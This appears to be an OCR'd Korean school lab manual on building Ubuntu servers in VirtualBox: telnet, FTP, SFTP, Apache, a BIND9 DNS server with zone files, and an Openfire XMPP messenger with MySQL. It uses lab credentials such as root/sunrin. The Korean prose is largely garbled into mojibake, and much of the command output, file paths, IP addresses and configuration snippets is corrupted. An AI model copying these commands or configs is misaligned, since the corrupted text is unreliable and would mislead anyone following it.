enpOs8(Ethernet1) NAT CIEHE

ZHE| Xt A " E(ID/Password) : root / sunrin, sunrin / sunrin
HYZ XA . https://ubuntu.com/download/server

B : Ubuntu Server 18.04.4 LTS

AX] ISO : ubuntu-18.04.3-live-server-amd64.iso

p— @ Ethernet X AMRSH HIZEE ML 28 gl S AE A|AHIOl AN 2t X
HoA M%E aktr.

xyzcoms MHZ 2837| 8l o2 7tX| IF|X|E K|S0 SOt xyzcomO| Lt THF|X|E HX|sts apH ChSat ZCh Ti7|X|

MXIE st NAT 87 Sl E22 [I +9Y =H| - 04 GNSO| VirtualBox 7 HAl S23817|, 16%~20%]2 & stCt,

oL

HEYD 4N \ -

enp0s3 down ‘ — ‘ enp0s8 up ‘ —

mj7|1X| 28X E= YHO|E ‘ — ‘ enp0s8 down ‘ - ‘ enp0s3 up

@ ip link &£ ifconfig —-a FHS Sl HEHT AHHO|A EE =tolsttt

=

L UP L LOWER_UP> mtu 65536 gdisc nogueue state UMEMOWM mode DEFAULT group default glen

_.- LLOWER_UP> mtu > fg_codel state UF mode DEFAULT group def

i O e e e T i
UF,LOMER_UP: mtu 1500 gdisc fog_codel state UP mode DEFAULT group def

S Ee I e B Sk A AR A A

ed from informatio
to 1t will

the following:

etherne
Erp

41 100, 1024

mtu 1500
=t 10,0
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Im)

Helolgul nsst

(ALE =y}

E Telnet, FTP, HTTP M X

1. xyz.com - telnet

MHO| fAc=z FL3L7| ot HHOR telnet2 AFY = ALL QEfTRE A8H=
E2017] 2o 2HE 52 SH22 % FEII LEE + Atk 0= MHO #F2
8ot HEMME SSHete| HIWE 23l telnet2 AMESHH, MEHQ H4F2 o mat F7t

#0|X|2t telnet2 3 F&E= HO|E7}
2 2% [ telnet ECHe SSHE FE A
oLt

@ atp install telnetd -y BHZ 0|83l telnet2 M X|TICL.

11 telnetd -y
. Done

. Done
will he installed:

will be us
A&

@ 2% A d¥s HAYUSL| GNS L2l CHE XM H& = UAEF enp0s3Th gstotct.

sunrin@client:~% telnet 125.241.1088.180

Trying 125.241.100.16.

Connected to 125.241. 100 10.

Escape character is '"]'.

Ubuntu 18.84.3 LTS

xyZ login: sunrin

Password:

Last login: Tue Feb 25 13:12:04 UTC 2828 on pts/@

Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-88-generic x86 64)

systemctl status inetd BHO|E HEHE HHQITICE inetd - intelnetd?} MHME|ASD, 192.168.1.100 HAE MEfLS =Holg 5= QUCt

sunrin@xyz:~% systemctl status inetd
e inetd.service - Internet superserver
Loaded: loaded (/lib/systemd/system/inetd.service; enabled; vendor preset:
Active: active (running) since Tue 2020-82-25 13:21:18 UTC; 8min ago
Docs: man:inetd(8)
Main PID: 719 (inetd)
Tasks: 2 (limit: 1108)
CGroup: /system.slice/inetd.service
719 fusr/sbin/inetd
1855 in.telnetd:

:21:09 xyz systemd[1]: Starting Internet superserver...

:21:10 xyz systemd[1]: Started Internet superserver.

:27:53 xyz in.telnetd[1855]: connect from 192.168.1.10 (192.168.1.10)
:28:83 xyz telnetd[1855]: i

:28:08 xyz login[1059]: pam unix(login:session): session opened for use
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MEIoIHY DES

a0 X =

Kl mz

pstree HHO|Z inetd - intelnetd — login — bash — pstree ZENATJL & A 2QE = QUL

sunrin@xyz:~$ pstree

systemd accounts-daemon—2*[{accounts-daemon}]
atd
cron
dbus -daemon
inetd—in.telnetd—71login—bash—pstree
login—~bash
1lvmetad
lxefs—2*[{lxcfs}]
networkd-dispat—{networkd-dispat}

2*[{polkitd}]

rsyslogd—-3#*[{rsyslogd}]
snapd—-a_8*[{snapd}]
sshd
2*[systemd—/(sd-pam) ]
systemd-journal
systemd-logind
systemd-network
systemd- resolve
systemd-timesyn—{systemd-timesyn}
systemd-udevd
unattended-upgr—{unattended-upgr}

2. xyz.com — ftp
Mot SR0IYIE ZH0) THAS FIWI| QI3 WHOR FIPE AFSE 4 UCH FIPE Telnetdt HZoHA HEE 4 o, 1p
TE| 23 HHS ALBE £ UCH HEUME vsftpE ALBSHH, MEZQ 4™2 HRo| wmal Ittt

@ 7|X| ERE I8 AHA HLHS 2T enp0s8TF 2-ootLt,

@ atp install telnetd -y BHZ 0|83l telnetE HX|BHCL

: will he installed:

will be installed:
, 0 to remove and 65 not oupgr

e will be used.

2 zolsict

®swmmwswwswﬂmi%%§ O| 83 AH|A 2HEf

: enabled)

@ 2% A d¥s AL GNS L2l TFE XM H& = UAES enp0s3h Ystotrt.
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MEIoIHY DES

(ALE =y} =

Hmz

® Clientti|A] HO/EE 0|23}0 xyz.com(125.241.100.10)2 2 F&3hrt,

sunrin@client:~% ftp 125.241.1008.10
Connected to 125.241.160.180.
220 (vsFTPd 2.0.3)

Name (125.241.18@.18:sunrin): sunrin
331 Please specify the password.
Password:

238 Login successful.

kA - 1
ftp= telnet?t OHELZEX|2 EBE22 = OIO|HE ME5H7| IfZ0| 2ot FofsiC O|E 25t SFTP(Secure File Transfer Protocol)2 &
g8 = 9}

Ctg AFEZX7t xyzcomO SFTPE AEE £ URE 510, + IFS of2fo| HASI0] 201E7| StA|2.

ID Password home directory home directory HZ st Hi
ftpuser sunrin /home/ftpuser 700 (RWX --- --- ) CHE Al

SFTP(Secure File Transfer Protocol)
28+ 9t Oo|H AE2S S¢f oY P2, Y Mg, BY BolE HBsE YEYI TR\, FX AEHY BES 7T

T MR

=
(ETRHZt 2ot e ME 7|"o Hag SHC=2 AR & Z2EE (SSH) M 209 &2 HASIIUCL

SFTP M7

sunrin@client:~§ sftp ftpuser@l25.241.1680.16
The authenticity of host '125. ¢41.19@.1@ (125.241.1600.10) "' can't be established.

ECDSA key fTingerprint is SHA256:xsBHNtHW+VQ8BtqgOE93LBdOubbdgeXwthHATUCAGTW.
G PRGN L A re you sure you want to continue connecting (yes/no)? yes

& Aqnt Warning: Permanently added '125.241.1080.18" (ECDSA) to the list of known hosts.
ftpuser@l25.241.100.10's password:
Connected to 125.241.100.10.
sftp>

sunrin@xyz:-$ systemctl status sshd
@ ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enab
Active: active (running) since Tue 2020-82-25 15:082:49 UTC; 16min ago
Process: 1871 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
Main PID: 1882 (sshd)
SETP ;(-1/\ )\},EH()”A.Iol ssh Tasl‘;s: 1 ':-lelt :l.:l.E]S1 ]
MH|A AR ol CGroup: .a;_S'-,*stem.sllce,.';sh.servlce
1882 fusr/sbin/sshd -D

15:82:49 xyz systemd[1]: Starting OpenBSD Secure Shell server...
) 15:82:49 xyz sshd[1882]: Server listening on 0.8.8.0 port 22.
5 15:02:49 xyz sshd[1882]: Server listening on :: port 22.
15:02:49 xyz systemd[1]: Started OpenBSD Secure Shell server.
5 15:18:53 xyz sshd[1937]: Accepted password for ftpuser from 192.168.1.180
]

15:18:53 xyz sshd[1937]: pam unix(sshd:session): session opened for user
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Hmz

xyz.com(125.241.100.1002 2 SFTP &2 Ste MFOIM HEAIE Aar 22 PSS AMCE O] U2 of a7 IX| AHSIAIL.

sunrin@client:~$ sftp ftpuser@l25.241.160.16

The authenticity of host '125.241.160.160 (125.241.160.10)" can't be established.

ECDSA key fingerprint is SHA256:xsBHNTHW+V(Q8BtqqOE93LBdOubbdgeXwthHATUCAGTw.
Are you sure you want to continue connecting (yes/no}? yes

Warning: Permanently added '125.241.160.18°' (ECDSA) to the lis
ftpuser@125.241.108.18's password:

Connected to 125.241.100.18.

sftp>

t of known hosts.

SFTPE SSHE 7I8ho2 SAfetct SFTPSl SAIHHOIA xyzcomel B747I2 Holstn, 0|2 08sto] Yset A A Hct

3. xyzcom - http

HTTP MH|AE 28 NGINX, Lighttpd, Apache 52 0|8€ == ULt Ol HZ0|M&= ApacheE O|83t0 HTTP AMHIAE HESIH Al
BXol 4F2 T et Frtetch

=

@ 7|X| ERIE 2?8 AHHA BEHS 2T enp0s8TF 2 ototrt,

-

@ atp install apache2 A2 0|23 apacheES MX|ICE

ted

Ted

0 to remove and 65 not upg

2 will he used.

ervice; enabled; vendor preset: enahled)

since Tue 2020-02-25 15:41:07 UTC; 22min ago

|T lHlldth determine the =
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R

=

® Clientoi|A] HEEILKE 0[50 xyz.com(125.241.100.1002 2 T&THC}
- Apache2 Ubuntu Default Page: It works - Mozilla Firefox -

Apache2 Ubuntu Default Page: Tt X | &+

« c @ (i) 125.241.100.10 e @ 1 N @ =

Apache2 Ubuntu Default Page

This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu
Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed
at this site is working properly. You should replace this file (located at /var/www/html/index.html)
before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

Ubuntu's Apache2 default configuration is different from the upstream default configuration, and split
into several files optimized for interaction with Ubuntu tools. The configuration system is fully
documented in /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full
documentation. Documentation for the web server itself can be found by accessing the manual if the
apache2-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:

gfetc!apachEZJ

Lt §EE I8 xyz.com(125.241.100.10)2] indexhtml LS +=F3t1, Clientof A HE2IPMZ F&T stHES HXsI0] 2012
7] SHA2.

www home directory indexhtml Zg L& I

host name : xyz.com

fvar/www/html/index.htm| ip address : 125.241.100.10

7|2 HTML Tag@t AL

html
head: <title
index.html ot L& SR

Shody

htmll

xyz.com - Mozilla Firefox -

Xyz.com X |+
R G @ (D) 125.241.100.10 @ ¥ N o =
ClientOilA] HEBIRKE
F&oh 21t hostname : xyz.com

ip address : 125.241.100.10
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EDNS M

OlM HTTP, FTP, Telnet MHIAE M, MHO| IPFAE 0[8510] T MHAE 0[8& == URULCE SX|T PFAE AHEXIEO
719817 2Hst F2 TofQl WS AERCE Bl WY AESHY| fsiAs 27tX|9] M-S oioF BCE A HM= DNS A M
o|ct &= Hmj= HH™E DNS MHQ| IPFAE Z2I0[UEQ HERT 43P0 BtAst= ZO|LCf
1. 452 HEQA EEZX| Y TAE Y

oM et EEZX|0 ofzfet Z0| 2R, ALX], DNS M F=obotct 2t2E A% 9 DNS MY F7HE [9 [11 MY 75 A
S8 HERA EEEX 5|2 UL

= HEQI3 FHE
zgf *233@332 50/0 1458906,30
bl e 1a0/0 125241 100254/24
faly/C 192.168.1.254/24 ) )
W1 2 w2 xyz.com
£20/0 @nm S0/0(SAR) 120/0 @ %
y DS
\ SNd . enpls3 125.2541.100.10/24
Client @ : enpOs NAT
fa0/0 :
\ \
enpls3 192.168.1.10/24 | | s0/0 1458.00.10/30 enpls3 8.88.288/24
enplsd MAT faly0 8.8.8.254/24 enpls8 MAT
TxE | ZE PR Mo | [ =Xy | == PR b 2
s0/0 | 14.58.90.5/30 Client enp0s3 | 192.168.1.10/24 Ee0|HE
R1 s0/1 14.58.90.9/30 DNS enp0s3 | 8.8.8.88/24 DNS AlH
fa0/1 | 192.168.1.254/24 xyz.com | enp0s3 | 125.241.100.10/24 ChAE MH
RO s0/0 14.58.90.6/30
fa0/0 | 125.241.100.254/24 SE|XF A™ BE : root / sunrin
R3 s0/0 | 14.58.90.10/30 % s0/0 = Serial0/0 % fa0/0 = fastethernet0/0
fa0/0 | 8.8.8.254/24

DNS d& 182 Cis1t Zom, MEist Wiz ol mat A& P82 ZHebd = AUCH A2l 4382 HfZ#o| DNS 4F orgs &

qstct
YEHR 8T | - | bind X | | DNSAH B 87 | - | sone I My | - | welw 8B | - sas0lM B
2. DNS F7}

HEQR FEE)E O3 20| EER | | 22 E R3, A%/X| SW3, dns2 F7totC} ZHAHAS M, GNS &8 &2 [I =Y FH|]
£ FIBICE dns ZHAOHALG| Cist HEE H1sHY '—‘IIE%’-JE‘L MYS BEst HERT 4 HAS MEs 2|5 HiZool M7 W
2 &ashot

Xyz.com

| &) Etherneti

Client :
XA HEZ QAL oA P4 SE ZHE| A} A ™ E(ID/Password) : root / sunrin, sunrin / sunrin
HIZZX : https://ubuntu.com/download/server
2

dns enp0s3(Ethernet0) 888388/24 GNSS | Wi . Ubuntu Server 18044 LTS

enp0s8(Ethernet1) NAT olHulg | X ISO : ubuntu-18.04.3-live-server-amd64.iso
X AFSS HIZE2 MG 55 QU SAE A|AHO] AMQO)| W2t MESHH MBI




7l HEH3 4%

@ 2H*H R19| Serialo/12] IPFEAE




[13] DNS &#& [72]
eSS BERED

® show ip route HS S Y& 2t HoOIES &g &= ATt

o

i
i
o

2HE R1, R2, R3E X AZE UEYAL C2 BAGH, RpE S0 S 22Y F2L YIS Yo R2 EAIFOf ULk
2o MOl YRED AW A|ZH0| Fof ASETR| M2 22 HOZZ MO RE HEYAY 3 242 Holge THY
Ag ey & o,

Ll. DNS M HEQ3 HH
dns2 AMHZ E83t7| I8 o2 7tX| {7 |X|E MX[s{of SHCh dnsO Eo% I{7|X|E MX|ste DY ChEah 2ot oi7|X| dXE

28t NAT Y g9l 82 [I +=¢ FH| - 04 GNSH| VirtualBox I HA SE23817|, 165 ~20%]2 XA}

7| X EE

18]

HEY3 43 ‘ — ‘ enp0s3 down ‘ - ‘ enp0s8 up ‘ - 4olE ‘ - ‘ enp0s8 down ‘ - ‘ enp0s3 up

®
=
§
~
A
rir
=
o]
5
=
(o]
|
QO
[ol=]
o
mjo
ofm

8 WEQA QHHO/A HEE TIBtCY

oot @dn: ip link

1: lo: <LOOFPBACE,UFP,LOWER_UF: mtu B5F i nogquede state UMEMOWN mode DEFAULT group default glen
000000000 bre OO Q0 s 002 0 s Qs 00

JHMULTT LUP L LOWER_UP: mtu 1500 oo fo_codel state UP mode DEFAULT group def

O2:37:1e brd ffoffoffoffoffoft
CMULTICAST, UR,LOWER_UP: mtu 1500 gdisc fg_codel state UF mode DEFAULT group def

(537 brd ffiffiffeiffeiff:fef




@ flol HE/S EE HI5H pF2 2FS ot II|X| X0 AE

root@dns: ™ wi Jetocsnetplansso-cloud-init.uaml _

# Thiz file is generated from information provided by
# the datasource. Changes to it will not persist across an instance.
# To disable cloud-init's network configuration capabilities, write a file
# Jetc/cloudscloud.cfg.ds/99-dizable-network-config.cfg with the following:
# network: iconfig: disabled:
network
ethernets
Enpos3
addreszes 0.
gatewayd: &.8.8.
Nameservers
addresses
dhcpd: no
Enposs
dhcpd: yes

version

root@dns: "% netplan apply

root@dns: ™ ifconfig enpos3 down

(7R ifconfig
: flags=4163<UP,BROADCAST, RUNMNING ,MULTICAST: mtu 1500
inet 10.0.3.15 netmask 255.255.255.0 broadcast 10.0.3.255
inete feB0::a0l:27ff:fesh:5f37 prefixzlen 64 scopeid 0xE0<link:
ether 08:00:27:30:5F:37  txgueuelen 1000 (Ethernet)
R¥ packets 14 bytes 2106 (2.1 KE)
Re errors 0 dropped O overruns 0 frame 0
TH packets 29 buytes 2626 (2.6 KB)
T errors O dropped O overruns 0 carrler O collisions O

lo: flags=73<UP,LOOPEACK, RUNNING: mtu 65536
® ping= 0830 QF QEHU2Z HE HEHE

root@dns: ™% ping www.google. com

PING wow.google.com (172.217.175.4) S6iG4) hutes of data.

64 hutes from nrt20sl8-in-f4.1el00,net (172.217.175.40: icmp_seq=1 t11=54 ftime=39.7 ms
64 hutes from nrt20sl8-in-f4.1elo0,net (172.217.175.40: icmp_seq=2 111=54 time=37.4 ms
B4 hytes from nrt20sl18-in-f4.1el00.net (172.217.175.40: icmp_seq=3 t11=54 time=37.1 ms

C}. DNS M %

@ atp install bindd HZ 0|88l bind9= & X|THC}.

root@dns: % apt install hind3
Reading package lists... Done
Building dependency tree
Feading state information... Done
suggested packages:
resolvcont
The following MEW packages will he installed:
bind3
0 upgraded, 1 newly installed, O to remove and 86 not upgraded.
Meed to get 398 kB of archives.
After this operation, 1,918 kB of additional disk space will be used.
Get:1l http:/7kr.archive.ubuntu.com/ubuntu bionic-updatessmain amdéd bind9 amded 1:9.11.3+dfsg-1ubunt
1. 11 [398 kE]

@ systemctl status bind9 EHZ 0|28l A{H|A AEf

root@dns: ™% sustemctl status bind3
¢ bindd.zervice - BIND Domain Mame Server

Loaded: loaded (/libssystemd/suystemsbindd.service: enabled;: wvendor preset: enabled)

fActive: active (running) since Wed 2020-02-26 20:47:03 KST; 1min 17s ago

Docs: man:namedi(&)
Hain FID: 1869 (named)
Tasks: 4 (limit: 1108)
CGroup: Asustem.slicesbindd.service
1869 Jusrsshindnamed -f -u bind




root@dns: ™% ifconftig enp0ss down
root@dns: ™ ifconfig enpdss up

@ vi /etc/bind/named.conf.optionsZ &Y DS
ot2fe] M & “recursion no” &2 0| MHO

options
directory "svarscachesbind;

A4 If there is a firewall between you and nameservers Jou want
A4 to talk to, you may need to fix the firewall to allow multiple
" ports to talk.  See http:rsAwww.kb.cert.orgsvulssidsa00113

S If your ISP provided one or more IF addresses for stable

A4 nameservers, you probably want to use them as forwarders.

A4 Uncomment the following block, and insert the addresses replacing
" the all-0's placeholder.

£/ forwarders §

A4 If BIND logs error messages about the root key being expired,
A4 ygouw will need to update your keys. See https:/2ww. isc.orgshind-keus

dnssec-validation auto;

auth-n=domain no; # conform to RFCLO3S
listen-on-ve § any; i;

direcursion yes; & if reguested not defined this dns server, this server reguest to forwared
recursion nos

listen-on port 53 §
allow-guery { any: i
S/ forwarders § 5.8.8

® vi /etc/bind/named.conflocal2 zone LY ZZ ot WAY S XYL xyz.com, abc.comOf CHsi HEE

root@dns: ™% vi setcsbindsnamed.conf. local

/4 forward zone config

zone "abc.com'' IN

tupe master;

file "setc/bindsabo. com.zone''s
HE
zone wyz.com't IN f

type master;

file "setcsbindswyz.com.zone';
5

S/ backward zone config

zone 100,100,210, in-addr.arpa’ IN §
tupe master;
file "setcshindsabo. com.rey'';
HE

zone 100,241,125, in-addr.arpa’ IN §
type master;
file "setosbindswyz.com.rey'';
G




;odns
MS ns. =Yz .com.

ip addr of dns

i A Record list
FTR

Cliente] HIEYA M7HO0|A DNS serversO| 8.8.8.882 F7tst1, nslookup www.xyzcom2E U M| BEZt0] SHIEX| =@
Ct HEZ2X A IPFEATE oY www.xyzcoml 2 M &oHot
sunrin@client:~$ nslookup www.xyz.com
127.8.8.53
127.8.08.53#53

Non-authoritative answer:

Name:  www.XyZ.com
ddress: 125.241.100.180

Xyz.com x |+
« > C @ | ® wovnyzcom | N @ =

hostname : xyz.com
ip address : 125.241.100.10




It - 3
%2 DNS 2F & /etc/bind/named.conflocal| Al xyz.com #2F OFL|Z} abc.com.zone, abc.com.zonerev IS X|HSIRACL CHF HE
£ #1510 abc.com.zone, abc.com.zonerev LY S MM, nslookup www.abc.com BHOE ZHOISHA|R,

XY IPFEA Gateway T2

abc.com 210.100.100.10/24 210.100.100.254

Is /etc/bind/abc*

= 1= . C a detault-zones

cat /etc/bind/aba.com.zone
33y 21}

;o ip oade
s

H =
-

BOdE00

cat Sed00

/etc/bind/aba.com.zone.rev
B3y A1}

o
IN FPTR

B Record list
10 IN PTRE  www. ahc. com.

e

50,0 14.58.905,/30
50,1 14.58.90.9/30

enp0s3 ‘92_‘68.'.'&"25. '53*3 9268‘25—#_2— 500 14.58.90.6/30
L‘I'IECSS MAT 120/ 210900100 254/24 falyD 125241100.254/24
| .
Client SW R Rz sw2 KYZ.LOom AZo| HEQYI EEZZX|E #F
@ 1810] abc.comS FIISHAIL.
. abc.comOi| telnet, ftp, sftp, http
£ H2HE5IA 2.

om

W3 DS 2t2E R19 fa0/02 HHsIL,

W4 0/0 0c2 125 2547 1007 0/24 '
@ e PR Ripol MEg WAL,
fa0/0 :
o \
enp0s3 210.100.100.10/24 = —
c—nE-E-sg ir - 50/0 14.58.90.10/30 enp0s3 86.888/24
| fal/0 888254,/24 enpls8 NAT




My 3% M8
14 HUX MH 25
15 & MY MH 75




[14] HIAXN HH 75
i}

R

£ HIEst 229 Ao WE HAXN MHAE 2F3C E2 48 O
= dto| L& DAY MH[AE Foie 2Cf E AA J[HEol HjAX MH
EE92l XMPP(Extensible Messaging and Presence Protocol)E 0|8%t St .

A EE R HEOM AHBE = e HY =7 5 XMPPE O ejabberd, jabberd, Openfire S0| RUCt O] ZZHMEOf A
= Openfire(http://www.igniterealtime.org/)E 0|83t0] L2 MiX MHAE FEBICE 28 Openfire?t 8% MHE SQIPE 475
WAN ZHZ0IME AFBE 4= RUCH

» W& HUN PRS2 HEYD 8=

Client oW R1 s0/0 14.58.90.5/30
. : 50,1 14.58.90.9/30
enp0s3 192.168.1.10/24 |__ fal/C | 1alv0 192.168.1.254/24
enp0s8 NAT faly1 210:100.100.254/24

Messenger

Client2

enp0s3 192.168.1.20/24 i FrTEe
g = - | enp0s3 192.168.1.250/24
enpdsd NAT g enpQss NAT

Y ZE IPEA B2

Client enp0s3 | 192.168.1.10/24

Z2I0|¢E ZE|X A ™HE : root / sunrin, sunrin / sunrin

Client2 enp0s3 | 192.168.1.20/24 ]
* s0/0 = Serial0/0 % fa0/0 = fastethernet0/0

Messenger | enp0s3 | 192.168.1.250/24 | L& OjAIX AMH

Jhaofilo]l MM gl me| 52 [1I =% FTHE H1DGH, Client, xyzcom2 X5 HERI MY, SAE 0|8 dFE #Es0 &
oI} JtemAE BN 42, YT LANOIM A8StE 7 HAEZ MACEA 52 9UX|5H7| 28 MACEAE ME 4ot
@ 7tSMY xyzcom2 SH 50! messengerg MO} @ 7t ClientE SH3Y Client2E M4oHCt
? * ? *

Tha DAL Tha DAL

MW DA OIED ZZ (0 MDA 0IZT 220N

O] |Messneger s | 0IE2 [Client 2 . |

LT lemsemmsm L)

== | DityhsitvinualBox Vs v| a2 | DithsivinualBox Vs v|

=H 2 A =H 2 A

@) 2FE SHF) ® I & AEH(M) @) ZEE SHF) ® I A AEH(M)

O SRR =HL O BE(E; O AR SHL O BEiE;

ZEH ZIEH

MAC T4 BE(P) | HE HESRI HHEL M MAC T4 44 ~ MAC T4 BE(P): | HE HESI HHEY M MAC T4 44

temeaa- 0L M- FTEIEe3 012 SHFITHEy == wmm e m i EEELE O S MrETEIY3 012 SREITHEy === -
CIEFESI0 LD SFFHICH) O &S0 UUID SFFHIH)
IH0IE BE(G) 34 II0IE BE(G) 24
N# Oracle VM VirtualBox ZH2| A} - O x

oEE oM ESEH
N A - 8 ™
1B == i @ 9 -
ME DEEDIN) ZE(S) A MBHT)
(=] gk o = ma 2

=, Client
w2t 3 0]

E: Messneger
23 HH: Ubuntu {Ed-bit)
Client 2 = N2E
et S 7|2 H22): 1024 MB
SE SN Floppy, 2 [A3 3 [123 Messneger
b e At YT-%/BMD-Y, W AEIS BIOIE, KVM BEpe S
) B . H o230

HIrZ MoAal: 16 kAR




[14] D& A

2 HEfIa 5
HEYI FEEIE CH21t 20| EEZX|E 43t Client 2, Messengerl| SAEHY, HEYI HMFS siCt

Client A1

Iy, ', =<
f0/0
Client 2 Messneger
!q ~ el
e

SW2 L) Ethernet?

7. Client2 SAEH|Q, YES3 HH

@ vi /etc/hostname 22 Client22] SAEHYS HEISH}

sunrin@client2:~% sudo vi fetc/hostname
[sudo] password for sunrin: *“***ml

ox
rn
<
>
(@)
a
>
i
o
ro
Of
2
i
[m
i}
L
nx
(0]
fjo

@ Client2& ClientE SX[SHA1, O DHHOM MAC =7 HAE|RACH #

Network Connections

MName Last Used « HET & HEO 7|&E9 HZ HE S ME22 AZ2 d
Bt HE 25 oIE & 9Tk 0 F0M MZ WHE MAC X
AE =Qlsto] HEQA ¢4 HEE $oiCt
Wired connection 2
. - [t &22 2l=29 WIEE UMY S Moz &2
Wired connection 1
: SEABICE JRARDAIO A MACE2O| BiZS AN 2|

Hiroox X
[> o o
o

X
£ n
=2
X o
rI'LI
N
[N
1o

sunrin@client2:~$ ifconfig

enpBs3: flags=4163<UP,BROADCAST ,RUNNING,MULTICAST> mtu 15860
ether 88:080:27:59:73:8b txqueuelen 1808 (Ethernet)
RX packets 296 bytes 17760 (17.7 KB)
RX errors @ dropped @ overruns @ frame @

Tx packets 118 bytes 19824 (19.8 KB)
TX errors @ dropped 0 overruns @ carrier @ collisions ©

: flags=4899<UP,BROADCAST ,MULTICAST> mtu 1586
ether 08:00:27:1a:40:4b txqueuelen 1800 (Ethernet)

RX packets ©@ bytes © (0.0 B)
RX errors @ dropped ® overruns & frame 8

| mAet ZCtn = 4 AUCH

H TIP - MACEZ, IPF2, ARP(Address Resolution Protocol)

MAC A+ HOlH 3 AZQRAS)MHM AtEstE UERKI QAEHO[A(NIC, Network Interface Card, 23| H7tE)0
o 117 AldHXIO|CE

IPFEAE HEJI ASEAZ)NM AF23t= 32H|E(IPv4) == 128H|E(IPv6)Q| FA0|CH IPFEAE 0|2310] HERA
E X, 2t*Y 50| 7tsstot

Protocol)O| C}.

- MAC F2 0 : 08:00:27:59:73:0B - IPv4 A 0 : 192.168.1.11

a2 X|H, sA

MACFL2t IPFAE AMZ WEEO AMBEEH, Of 7k FA2t0| M2 0jE BEE St ZZEZ0| ARP(Address Resolution




[14] HIAXN HH 75
m)

R

(AL =)

® OIE MACEAE H1310] enp0s3= 192.168.1202 DHIPE MH3LD, enp0s8 NATE AIRSIEZ DHCPE MHBICH
| . i 1 NAT
Connection name: | 192.168.1.20 Connection name: | NAT
IPv4 Settings | IPV6 Settings General | Ethernet
Method: Manual - Device: o
Addresses Cloned MAC address: —
Address Netmask Gateway Add MTU diitGmatE - + | bytes
Delete Wake on LAN: Default

Wake on LAN password:

DNS servers: 8.8.8.88 Link negotiation: Ignore hd
Search domains: Speed:
Duplex:
Require IPvd addressing for this connection to complete
Routes...
Cancel Save Cancel Save

i

2ot 20| HE/R HZ FYEE HYSRAL, 22as HERI P2 FEE AFiCt

-
f

Name Last Used

Ethernet
192.168.1.20

sunrin@client2:~$ ping 192.168.1.1@

PING 192.168.1.18 (192.168.1.18) 56(84) bytes of data.

64 bytes from 192.168.1.18:

64 bytes from 192.168.1.18: icmp seg=2 ttl=64 time=2.48 ms

netwark
ethernet




[14] BIAH ANH 25
o EY

MBI DEStD Y8

a0 X =

oot
FING 1

g byt

3. Messenger MH 4%

messengerg OAX MHE 283817 8| Openfire?t 22 T{7|X|E HXISOF BHCE messengerd|] ER3H I{7|X|E HX|St= HE2
CtEdt 2ok m7|X] 24X 2ot NAT 23 ® =82 [I =% &H| - 04 GNSO|| VirtualBox 7tHAl S&5H7|, 165 ~20F]2 &L,
HES= 48 ‘ - ‘ enp0s3 down ‘ - ‘ enp0s8 up ‘ - ‘ mj7|X| X Es YHOIE ‘ - ‘ enp0s8 down ‘ - ‘ enp0s3 up

Jh. WIIX EXE 918 WERI 43 HE
@ ip link EE& ifconfig —a @S S HELZR AHIO|A FEE =olotot,

U/ ip link
KL UP,LOKWER_UF: mtu 65536 gdisc nogueue state UNMENOWM mode DEFAULT group default glen

Q00000000000 hrd 0000000020000

T,UP,LOKWER_UP: mtu 1500 o fo_codel state UP mode

Ja brd ffoffoffoffaff:fef
JUPLLOWER_UP: mtu 1500 gdisc fog_codel state UP mode DEFAULT group def

ther 08:00:27:9b:f9:7d brd ffiff:iffiffzff:fef

collisions O

1 t11=54 time=40.5
2 tt1=54 time b
3 tt1=54 time=116 ms

Lt. JAVA, Openfire, MySQL &X % &F
@ apt install openjdk-8-jdk2 OpenfireE T&ot=0H Rt JAVAE HA dX|otCt

@ OpenfireE CHREE 310 AX|BICH CHREE Z2 X DAY HTOo| M2t X 22 HiZ AO|EO|M =Holo] Hadict
- BiZ A{O|E : http://www.igniterealtime.org/downloads/index.jsp

- COHREE FYHO| : wget http://download.igniterealtime.org/openfire/openfire_4.5.1_all.deb

- MX| H™EO| : dpkg —i openfire_4.5.1_all.deb

currently installed.)

~/libsopenfire’ does not belong to the user you are current
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eSS BERED

" SEPVER

UTC; 3min

Felb 25 0:(0
lines 1-12/1%2

® CIOIE{H|O|A openfireS A4dstn, 0|0 BHEOEl openfire_mysql.sql2 CHAISICE MEH ZAAE openfire HO|E{HO|A0] CHEH

= deots ddeih

» CREATE DATA
1 row aff

sentire_mysol.sgls_

» GRAMT ALL PRIVILEGES 0OM openfire.x TO 'openfire'@'localhost' IDEWMTIFIED BY 'sunrin@2ozo';

W G|o|E{Hjo] A JHEH
CilO|E{H O] &= MySQL, PostgreSQL, MariaDB 2 ME{S}7LLE Embeded DatabaseE ME{E == QUCt 0| ZZMEQ|AE= MySQLS
MEASERACE

HIO|EH|O| A= SiE MH{O| Of & MH|AE b AQAX|Of o2t MEdSHH ECH

[
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HAXd MH 7= [83]
HERIHY DS D 25

Ct. Openfire =J| &4 &3

@ YEHIPRKXE 0|88l http://192.168.1.250:90902 2 F&3H| =x7|

~ oOpenfire Setup: Welcome to Setup - Mozilla Firefox

(5 Openfire Setup: Welcome to X | ==

« = C @ (@) 192.168.1.250.0000 /5

O openfire’

Setup

Setup Progress

+ Language Selection
Server Settings
Dalahase Sefiings
Profile Setings

Admin Account

Database Settings

Openfire Setup: Server Settings - Mazilla Firefox =
(5 Openfire Setup: Server Settic X ‘ +
< = C @ @ /& 192.168.1.250.0¢ . w N B =
O openfire
Setup
Setup Progress
e ————
vLanguage Selection -
Welcome 1 i ead Server Settings
+ Server Settings
Welcome t Ope Datahase Setings Below are network settings for this server.
the server. BERN o serings XMPP Domain Name: : 5
|192.168,1.250
Admin Account
Server Host Name (FQDN) 3
Choose Lal 192.168 1250
) czect Admin Console Port [ 9030 2
~ Secure Admin Console Port | 8381 2
./ Deuts
» Property Encryption via:
@) .
= Engfls () Blowfish
(7] . 2
4 Espaf (7 RES
O
= Frang Property Encryption Key:
! Neder
'/ Polsk
') Portui
D pyec S|
'/ slove
Built by the lgniteRealtime.arg commurity.
v

ot

3 4%

mjo

Choose how you would like to connect to the Openfire database.

